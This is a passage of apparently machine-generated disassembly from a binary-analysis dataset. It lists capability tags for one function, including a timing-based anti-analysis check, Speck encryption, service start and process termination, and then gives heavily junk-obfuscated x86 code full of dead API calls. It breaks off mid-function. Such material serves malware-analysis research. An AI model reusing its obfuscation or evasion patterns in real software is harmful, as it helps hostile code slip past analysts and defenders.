Function at 0x468dd8
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Clear file content
Connect pipe
Delete directory
Encrypt data using speck
Query or enumerate registry value
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad623
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2978
call fcn.0049cdc0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x44], 0xfb871c7b
mov dword [ebp - 0x1918], 0x3abefa02
mov dword [ebp - 0x1920], 1
mov dword [ebp - 0x64], 0
jmp 0x468e2c
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x468e42
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x1818], 0xc64a6847
jmp 0x468e25
mov dword [ebp - 0x64], 0
jmp 0x468e52
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x468e68
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2060], 7
jmp 0x468e4b
mov dword [ebp - 0x64], 0
jmp 0x468e78
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x468e8e
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x227c], 1
jmp 0x468e71
mov dword [ebp - 0x44], 3
jmp 0x468e9e
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x468ee8
mov byte [ebp - 0x2ae], 0
movzx eax, byte [ebp - 0x2ae]
test eax, eax
je 0x468ec8
push 0xb0e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov byte [ebp - 0x287], 0
movzx eax, byte [ebp - 0x287]
test eax, eax
je 0x468ee6
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
jmp 0x468e97
mov dword [ebp - 0x44], 0
jmp 0x468ef8
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jg 0x46910a
mov dword [ebp - 0x938], 0xc8dd
mov dword [ebp - 0x1674], 0x52a28486
mov dword [ebp - 0x1910], 0x5610
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x468f44
push 0xc7f
push 0x8cb
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2060], 1
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x1818], 0
jne 0x468fc8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2060], 0
jne 0x468f91
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2060]
mov ecx, dword [ebp - 0x44]
add eax, dword [ebp + ecx*4 - 0x1818]
mov dword [ebp - 0x938], eax
je 0x468fa6
cmp dword [ebp - 0x938], 0
je 0x468fa6
mov dword [ebp - 0x1094], 1
jmp 0x468fad
and dword [ebp - 0x1094], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x1818]
cmp dword [ebp - 0x1094], eax
jge 0x468fc8
and dword [ebp - 0x166c], 0
jmp 0x468fd2
mov dword [ebp - 0x166c], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1818]
add eax, dword [ebp - 0x166c]
mov dword [ebp - 0x1674], eax
jne 0x468ff9
mov dword [ebp - 0x1894], 1
jmp 0x469000
and dword [ebp - 0x1894], 0
mov eax, dword [ebp - 0x1910]
mov dword [ebp - 0x21d0], eax
cmp dword [ebp - 0x44], 0xa938f738
ja 0x469021
mov dword [ebp - 0x167c], 1
jmp 0x469028
and dword [ebp - 0x167c], 0
mov eax, dword [ebp - 0x167c]
mov dword [ebp - 0x1918], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1818], 0
je 0x46905d
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x1818], 0
je 0x46905d
mov dword [ebp - 0x1684], 1
jmp 0x469064
and dword [ebp - 0x1684], 0
cmp dword [ebp - 0x1684], 0x6d99
jl 0x46907c
mov dword [ebp - 0x168c], 1
jmp 0x469083
and dword [ebp - 0x168c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1818]
cmp dword [ebp - 0x168c], eax
jle 0x4690a4
mov dword [ebp - 0x1694], 1
jmp 0x4690ab
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x1818]
cmp eax, dword [ebp - 0x1694]
jg 0x4690c9
mov dword [ebp - 0x169c], 1
jmp 0x4690d0
and dword [ebp - 0x169c], 0
imul eax, dword [ebp - 0x169c], 0xbee6
mov ecx, dword [ebp - 0x44]
cmp eax, dword [ebp + ecx*4 - 0x1818]
jle 0x4690f2
mov dword [ebp - 0x16a4], 1
jmp 0x4690f9
and dword [ebp - 0x16a4], 0
mov eax, dword [ebp - 0x16a4]
mov dword [ebp - 0x1920], eax
jmp 0x468ef1
mov dword [ebp - 0x3c], 0xfb871c7b
mov dword [ebp - 0x1898], 0x3abefa02
mov dword [ebp - 0x1940], 1
mov dword [ebp - 0x84], 0
jmp 0x46913e
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x46915a
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x1800], 0xc64a6847
jmp 0x469131
mov dword [ebp - 0x84], 0
jmp 0x469173
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x46918f
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x209c], 7
jmp 0x469166
mov dword [ebp - 0x84], 0
jmp 0x4691a8
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x4691c4
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x24d0], 1
jmp 0x46919b
mov dword [ebp - 0x3c], 3
jmp 0x4691d4
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x46921e
mov byte [ebp - 0x289], 0
movzx eax, byte [ebp - 0x289]
test eax, eax
je 0x4691fe
push 0xb0e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x46921c
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
jmp 0x4691cd
mov dword [ebp - 0x3c], 0
jmp 0x46922e
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jg 0x469440
mov dword [ebp - 0x940], 0xc8dd
mov dword [ebp - 0x16bc], 0x52a28486
mov dword [ebp - 0x1930], 0x5610
mov byte [ebp - 0x28b], 0
movzx eax, byte [ebp - 0x28b]
test eax, eax
je 0x46927a
push 0xc7f
push 0x8cb
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x209c], 1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1800], 0
jne 0x4692fe
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x209c], 0
jne 0x4692c7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x209c]
mov ecx, dword [ebp - 0x3c]
add eax, dword [ebp + ecx*4 - 0x1800]
mov dword [ebp - 0x940], eax
je 0x4692dc
cmp dword [ebp - 0x940], 0
je 0x4692dc
mov dword [ebp - 0x16ac], 1
jmp 0x4692e3
and dword [ebp - 0x16ac], 0
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1800]
cmp dword [ebp - 0x16ac], eax
jge 0x4692fe
and dword [ebp - 0x16b4], 0
jmp 0x469308
mov dword [ebp - 0x16b4], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1800]
add eax, dword [ebp - 0x16b4]
mov dword [ebp - 0x16bc], eax
jne 0x46932f
mov dword [ebp - 0x1928], 1
jmp 0x469336
and dword [ebp - 0x1928], 0
mov eax, dword [ebp - 0x1930]
mov dword [ebp - 0x21d8], eax
cmp dword [ebp - 0x3c], 0xa938f738
ja 0x469357
mov dword [ebp - 0x16c4], 1
jmp 0x46935e
and dword [ebp - 0x16c4], 0
mov eax, dword [ebp - 0x16c4]
mov dword [ebp - 0x1898], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1800], 0
je 0x469393
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1800], 0
je 0x469393
mov dword [ebp - 0x16cc], 1
jmp 0x46939a
and dword [ebp - 0x16cc], 0
cmp dword [ebp - 0x16cc], 0x6d99
jl 0x4693b2
mov dword [ebp - 0x16d4], 1
jmp 0x4693b9
and dword [ebp - 0x16d4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1800]
cmp dword [ebp - 0x16d4], eax
jle 0x4693da
mov dword [ebp - 0x16dc], 1
jmp 0x4693e1
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1800]
cmp eax, dword [ebp - 0x16dc]
jg 0x4693ff
mov dword [ebp - 0x16e4], 1
jmp 0x469406
and dword [ebp - 0x16e4], 0
imul eax, dword [ebp - 0x16e4], 0xbee6
mov ecx, dword [ebp - 0x3c]
cmp eax, dword [ebp + ecx*4 - 0x1800]
jle 0x469428
mov dword [ebp - 0x16ec], 1
jmp 0x46942f
and dword [ebp - 0x16ec], 0
mov eax, dword [ebp - 0x16ec]
mov dword [ebp - 0x1940], eax
jmp 0x469227
push 3
lea ecx, [ebp - 0x3d8]
call fcn.00426223
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x950], 0x5fbc01d4
mov dword [ebp - 0x554], 0
jmp 0x469477
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 3
jge 0x469499
push dword [ebp - 0x554]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov dword [eax], 0xbbca6318
jmp 0x46946a
mov dword [ebp - 0x18], 0
jmp 0x4694a9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x4694ef
mov byte [ebp - 0x2a7], 0
movzx eax, byte [ebp - 0x2a7]
test eax, eax
je 0x4694cc
push 0x14dc
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x28d], 0
movzx eax, byte [ebp - 0x28d]
test eax, eax
je 0x4694ed
push 0
push 0x19b3
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
jmp 0x4694a2
mov dword [ebp - 0x18], 2
jmp 0x4694ff
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x46983f
mov dword [ebp - 0x1ac], 0x1ded6804
mov dword [ebp - 0x204], 1
mov byte [ebp - 0x29f], 0
movzx eax, byte [ebp - 0x29f]
test eax, eax
je 0x469539
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 0x1ac], 2
jmp 0x469552
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x469727
mov dword [ebp - 0x1d4], 0xda7fe64f
mov dword [ebp - 0x1704], 1
mov dword [ebp - 0x1d4], 0
jmp 0x46958c
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 2
jg 0x46970a
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov ecx, dword [ebp - 0x1704]
cmp dword [eax], ecx
jl 0x4695df
mov dword [ebp - 0x1948], 1
jmp 0x4695e6
and dword [ebp - 0x1948], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2410], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x21e0], eax
cmp dword [ebp - 0x18], 0x3bf5
jg 0x469610
mov dword [ebp - 0x16f4], 1
jmp 0x469617
and dword [ebp - 0x16f4], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x16f4], eax
jge 0x469631
mov dword [ebp - 0x1950], 1
jmp 0x469638
and dword [ebp - 0x1950], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov esi, dword [ebp - 0x1d4]
push 0
lea ecx, [ebp - 0x3d8]
call fcn.00426311
sub esi, dword [eax]
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
cmp esi, dword [eax]
jle 0x46967c
mov dword [ebp - 0x16fc], 1
jmp 0x469683
and dword [ebp - 0x16fc], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov esi, eax
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov ecx, dword [ebp - 0x16fc]
sub ecx, 0x40c47301
mov eax, dword [eax]
sub eax, ecx
imul eax, dword [esi]
test eax, eax
jne 0x4696c4
cmp dword [ebp - 0x1704], 0
je 0x4696f8
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
and dword [eax], 0
mov byte [ebp - 0x28f], 0
movzx eax, byte [ebp - 0x28f]
test eax, eax
je 0x4696f6
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
jmp 0x469705
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
jmp 0x46957f
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
cmp dword [eax], 0
je 0x469722
jmp 0x469545
jmp 0x469545
mov dword [ebp - 0x204], 0
jmp 0x469740
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jg 0x46983a
push 5
pop eax
test eax, eax
je 0x46979f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x950]
cmp dword [ebp - 0x18], eax
jle 0x469774
mov dword [ebp - 0x170c], 1
jmp 0x46977b
and dword [ebp - 0x170c], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov ecx, dword [ebp - 0x170c]
cmp ecx, dword [eax]
jg 0x46979f
mov dword [ebp - 0x1714], 1
jmp 0x4697a6
and dword [ebp - 0x1714], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1714]
jge 0x4697d3
mov eax, 0xfffe
test eax, eax
je 0x4697d3
mov dword [ebp - 0x1958], 1
jmp 0x4697da
and dword [ebp - 0x1958], 0
mov esi, dword [ebp - 0x950]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
sub esi, dword [eax]
sub esi, 3
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
imul esi, dword [eax]
cmp esi, dword [ebp - 0x204]
jge 0x469818
mov dword [ebp - 0x171c], 1
jmp 0x46981f
and dword [ebp - 0x171c], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3d8]
call fcn.00426311
mov ecx, dword [ebp - 0x171c]
mov dword [eax], ecx
jmp 0x469733
jmp 0x4694f8
lea ecx, [ebp - 0x3d8]
call fcn.004262f5
mov dword [ebp - 0xca4], 0x43d5
mov dword [ebp - 0x3f4], 2
mov byte [ebp - 0x26f], 0
movzx eax, byte [ebp - 0x26f]
test eax, eax
je 0x46988d
push 0
push 0xe6c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [ebp - 0x3f4], 0
jmp 0x4698a6
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0xb
jge 0x4698d2
mov byte [ebp - 0x26e], 0
movzx eax, byte [ebp - 0x26e]
test eax, eax
je 0x4698d0
push 0
push 0
push 0x12b
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x469899
push 3
lea ecx, [ebp - 0x3a8]
call fcn.00426223
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x958], 0x5fbc01d4
mov dword [ebp - 0x3f0], 0
jmp 0x469909
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 3
jge 0x46992b
push dword [ebp - 0x3f0]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov dword [eax], 0xbbca6318
jmp 0x4698fc
mov dword [ebp - 0x14], 0
jmp 0x46993b
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x469981
mov byte [ebp - 0x272], 0
movzx eax, byte [ebp - 0x272]
test eax, eax
je 0x46995e
push 0x14dc
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x274], 0
movzx eax, byte [ebp - 0x274]
test eax, eax
je 0x46997f
push 0
push 0x19b3
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
jmp 0x469934
mov dword [ebp - 0x14], 2
jmp 0x469991
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x469cd1
mov dword [ebp - 0x1bc], 0x1ded6804
mov dword [ebp - 0x20c], 1
mov byte [ebp - 0x276], 0
movzx eax, byte [ebp - 0x276]
test eax, eax
je 0x4699cb
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 0x1bc], 2
jmp 0x4699e4
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x469bb9
mov dword [ebp - 0x1e4], 0xda7fe64f
mov dword [ebp - 0x1734], 1
mov dword [ebp - 0x1e4], 0
jmp 0x469a1e
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jg 0x469b9c
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov ecx, dword [ebp - 0x1734]
cmp dword [eax], ecx
jl 0x469a71
mov dword [ebp - 0x1bbc], 1
jmp 0x469a78
and dword [ebp - 0x1bbc], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2570], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x21e8], eax
cmp dword [ebp - 0x14], 0x3bf5
jg 0x469aa2
mov dword [ebp - 0x1724], 1
jmp 0x469aa9
and dword [ebp - 0x1724], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x1724], eax
jge 0x469ac3
mov dword [ebp - 0x1bc4], 1
jmp 0x469aca
and dword [ebp - 0x1bc4], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov esi, dword [ebp - 0x1e4]
push 0
lea ecx, [ebp - 0x3a8]
call fcn.00426311
sub esi, dword [eax]
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
cmp esi, dword [eax]
jle 0x469b0e
mov dword [ebp - 0x172c], 1
jmp 0x469b15
and dword [ebp - 0x172c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov esi, eax
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov ecx, dword [ebp - 0x172c]
sub ecx, 0x40c47301
mov eax, dword [eax]
sub eax, ecx
imul eax, dword [esi]
test eax, eax
jne 0x469b56
cmp dword [ebp - 0x1734], 0
je 0x469b8a
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
and dword [eax], 0
mov byte [ebp - 0x278], 0
movzx eax, byte [ebp - 0x278]
test eax, eax
je 0x469b88
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
jmp 0x469b97
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
jmp 0x469a11
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
cmp dword [eax], 0
je 0x469bb4
jmp 0x4699d7
jmp 0x4699d7
mov dword [ebp - 0x20c], 0
jmp 0x469bd2
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jg 0x469ccc
push 5
pop eax
test eax, eax
je 0x469c31
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x958]
cmp dword [ebp - 0x14], eax
jle 0x469c06
mov dword [ebp - 0x9fc], 1
jmp 0x469c0d
and dword [ebp - 0x9fc], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov ecx, dword [ebp - 0x9fc]
cmp ecx, dword [eax]
jg 0x469c31
mov dword [ebp - 0x13cc], 1
jmp 0x469c38
and dword [ebp - 0x13cc], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov eax, dword [eax]
cmp eax, dword [ebp - 0x13cc]
jge 0x469c65
mov eax, 0xfffe
test eax, eax
je 0x469c65
mov dword [ebp - 0x1bcc], 1
jmp 0x469c6c
and dword [ebp - 0x1bcc], 0
mov esi, dword [ebp - 0x958]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
sub esi, dword [eax]
sub esi, 3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
imul esi, dword [eax]
cmp esi, dword [ebp - 0x20c]
jge 0x469caa
mov dword [ebp - 0xa04], 1
jmp 0x469cb1
and dword [ebp - 0xa04], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3a8]
call fcn.00426311
mov ecx, dword [ebp - 0xa04]
mov dword [eax], ecx
jmp 0x469bc5
jmp 0x46998a
lea ecx, [ebp - 0x3a8]
call fcn.004262f5
mov dword [ebp - 0x1cbc], str.bdtc_vvseqmlo_zufgqz_hcvdw_ssiwxsy_qmxkzxwb
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x354], 0xfffffff7
mov dword [ebp - 0x2154], 0x43e1243b
mov dword [ebp - 0x2150], 0x43e1243b
mov dword [ebp - 0x214c], 0x43e1243b
mov dword [ebp - 0x2148], 0x43e1243b
mov dword [ebp - 0x1bec], 0xffffffff
mov dword [ebp - 0x5e8], 0
jmp 0x469d4c
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 3
jge 0x469d68
mov eax, dword [ebp - 0x5e8]
mov dword [ebp + eax*4 - 0x9b4], 0x33563700
jmp 0x469d3f
xor eax, eax
inc eax
je 0x469de9
mov eax, dword [ebp - 0x8c]
sub eax, 0x2628abfb
cmp eax, 0xa61f
jle 0x469d8b
mov dword [ebp - 0x13d4], 1
jmp 0x469d92
and dword [ebp - 0x13d4], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x13d4]
jne 0x469dac
mov dword [ebp - 0xa0c], 1
jmp 0x469db3
and dword [ebp - 0xa0c], 0
cmp dword [ebp - 0xa0c], 0
jne 0x469dc8
mov dword [ebp - 0x13dc], 1
jmp 0x469dcf
and dword [ebp - 0x13dc], 0
mov eax, dword [ebp - 0x13dc]
sub eax, dword [ebp - 0x8c]
je 0x469de9
mov dword [ebp - 0x1bd4], 1
jmp 0x469df0
and dword [ebp - 0x1bd4], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2420], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x8c]
test eax, eax
jne 0x469e1f
mov dword [ebp - 0xa14], 1
jmp 0x469e26
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xa14], eax
jne 0x46a11c
mov dword [ebp - 0x10c], 0xb000e2e4
mov dword [ebp - 0x4c], 0
jmp 0x469e52
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jg 0x46a11a
mov dword [ebp - 0x1be4], 0x1ae7d512
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x4c], eax
jne 0x469e7d
mov dword [ebp - 0x13e4], 1
jmp 0x469e84
and dword [ebp - 0x13e4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9b4]
cmp eax, dword [ebp - 0x13e4]
jg 0x469ea5
mov dword [ebp - 0xa1c], 1
jmp 0x469eac
and dword [ebp - 0xa1c], 0
cmp dword [ebp - 0xa1c], 0xffffffff
je 0x469ec1
mov dword [ebp - 0x1bdc], 1
jmp 0x469ec8
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x21f0], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x24d8], eax
mov eax, dword [ebp - 0x10c]
add eax, 0x4e5477a7
cmp eax, dword [ebp - 0x10c]
jl 0x469efc
mov dword [ebp - 0x13ec], 1
jmp 0x469f03
and dword [ebp - 0x13ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13ec]
sub ecx, dword [ebp + eax - 0x9b4]
cmp ecx, 3
je 0x469f27
mov dword [ebp - 0xa24], 1
jmp 0x469f2e
and dword [ebp - 0xa24], 0
cmp dword [ebp - 0xa24], 0xc3e5f885
jb 0x469f46
mov dword [ebp - 0x13f4], 1
jmp 0x469f4d
and dword [ebp - 0x13f4], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x13f4], eax
jle 0x469f67
mov dword [ebp - 0xa2c], 1
jmp 0x469f6e
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xa2c], eax
jle 0x469f88
mov dword [ebp - 0x13fc], 1
jmp 0x469f8f
and dword [ebp - 0x13fc], 0
imul eax, dword [ebp - 0x13fc], 0x3239
cmp dword [ebp - 0x10c], eax
jle 0x469fad
mov dword [ebp - 0xa34], 1
jmp 0x469fb4
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xa34], eax
jle 0x469fce
mov dword [ebp - 0x1404], 1
jmp 0x469fd5
and dword [ebp - 0x1404], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x1404], eax
jge 0x469fef
mov dword [ebp - 0xa3c], 1
jmp 0x469ff6
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
je 0x46a020
cmp dword [ebp - 0x10c], 0
je 0x46a020
mov dword [ebp - 0x140c], 1
jmp 0x46a027
and dword [ebp - 0x140c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9b4]
cmp dword [ebp - 0x140c], eax
je 0x46a051
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x9b4], 0
jne 0x46a051
and dword [ebp - 0xa44], 0
jmp 0x46a05b
mov dword [ebp - 0xa44], 1
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x9b4]
cmp eax, dword [ebp - 0xa44]
jl 0x46a08e
mov byte [ebp - 0x27a], 0
movzx eax, byte [ebp - 0x27a]
test eax, eax
je 0x46a089
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
jmp 0x46a115
mov dword [ebp - 0x1f24], 0x3044b131
mov dword [ebp - 0x1f20], 0x3044b131
mov dword [ebp - 0x1f1c], 0x3044b131
mov dword [ebp - 0x1f18], 0x3044b131
cmp dword [ebp - 0x8c], 1
je 0x46a0cb
mov dword [ebp - 0x1414], 1
jmp 0x46a0d2
and dword [ebp - 0x1414], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f24]
add eax, dword [ebp - 0x1414]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x1f24]
cmp eax, dword [ebp - 0x4c]
jge 0x46a102
mov dword [ebp - 0xa4c], 1
jmp 0x46a109
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x1be4], eax
jmp 0x469e4b
jmp 0x46a163
mov byte [ebp - 0x27c], 0
movzx eax, byte [ebp - 0x27c]
test eax, eax
je 0x46a136
push 0
